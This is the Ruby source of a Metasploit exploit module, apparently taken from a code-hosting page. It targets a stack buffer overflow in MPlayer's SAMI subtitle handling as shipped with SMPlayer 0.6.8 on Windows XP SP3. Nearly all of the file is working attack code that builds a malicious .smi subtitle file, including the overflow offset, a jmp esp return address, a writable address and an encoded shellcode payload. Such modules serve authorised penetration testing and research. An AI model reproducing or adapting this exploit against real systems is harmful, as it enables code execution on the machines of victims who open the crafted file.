106 lines
2.8 KiB
Ruby
106 lines
2.8 KiB
Ruby
##
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
# web site for more information on licensing and terms of use.
|
|
# http://metasploit.com/
|
|
##
|
|
|
|
require 'msf/core'
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
|
Rank = NormalRanking
|
|
|
|
include Msf::Exploit::FILEFORMAT
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'MPlayer SAMI Subtitle File Buffer Overflow',
|
|
'Description' => %q{
|
|
This module exploits a stack-based buffer overflow found in the handling
|
|
of SAMI subtitles files in MPlayer SVN Versions before 33471. It currently
|
|
targets SMPlayer 0.6.8, which is distributed with a vulnerable version of mplayer.
|
|
|
|
The overflow is triggered when an unsuspecting victim opens a movie file first,
|
|
followed by loading the malicious SAMI subtitles file from the GUI. Or, it can also
|
|
be done from the console with the mplayer "-sub" option.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' => [
|
|
'Jacques Louw', # Vulnerability Discovery and PoC
|
|
'juan vazquez' # Metasploit module
|
|
],
|
|
'Version' => '$Revision: $',
|
|
'References' =>
|
|
[
|
|
[ 'BID', '49149' ],
|
|
[ 'OSVDB', '74604' ],
|
|
[ 'URL', 'http://labs.mwrinfosecurity.com/files/Advisories/mwri_mplayer-sami-subtitles_2011-08-12.pdf' ],
|
|
],
|
|
'DefaultOptions' =>
|
|
{
|
|
'EXITFUNC' => 'process',
|
|
'DisablePayloadHandler' => 'true',
|
|
},
|
|
'Payload' =>
|
|
{
|
|
'Space' => 4000,
|
|
'BadChars' => "\x00\x0a\x0d\x09\x3c\x3e\x5c\x22\x7b\x7d",
|
|
},
|
|
'Platform' => 'win',
|
|
'Targets' =>
|
|
[
|
|
[ 'SMPlayer 0.6.8 / mplayer.exe Sherpya-SVN-r29355-4.5.0 / Windows XP English SP3',
|
|
{
|
|
'Offset' => 1033,
|
|
'Ret' => 0x016c14df, # jmp esp from mplayer.exe .rsrc
|
|
'WritableAddress' => 0x013ab3ae # from mplayer.exe .bss
|
|
}
|
|
],
|
|
],
|
|
'Privileged' => false,
|
|
'DisclosureDate' => 'May 19 2011',
|
|
'DefaultTarget' => 0))
|
|
|
|
register_options(
|
|
[
|
|
OptString.new('FILENAME', [ false, 'The file name.', 'msf.smi']),
|
|
], self.class)
|
|
end
|
|
|
|
# Split the subtitle to avoid mplayer complaining
|
|
# about the line max length
|
|
def sami_encode(s)
|
|
r = ""
|
|
i = 0
|
|
while i < s.length
|
|
r << s[i, 32]
|
|
r << "\n"
|
|
i += 32
|
|
end
|
|
r
|
|
end
|
|
|
|
def exploit
|
|
|
|
sploit = rand_text(target['Offset'])
|
|
sploit << [target.ret].pack("V")
|
|
sploit << "\xeb\x06" # jmp short 0x8
|
|
sploit << rand_text(2)
|
|
sploit << [target['WritableAddress']].pack("V")
|
|
sploit << payload.encoded
|
|
|
|
sami = "<SAMI>\n"
|
|
sami << "<BODY>\n"
|
|
sami << "<SYNC Start=100550>\n"
|
|
sami << sami_encode(sploit)
|
|
sami << "</SYNC>\n"
|
|
sami << "</BODY>\n"
|
|
sami << "</SAMI>\n"
|
|
|
|
print_status("Creating '#{datastore['FILENAME']}' file ...")
|
|
|
|
file_create(sami)
|
|
end
|
|
|
|
end
|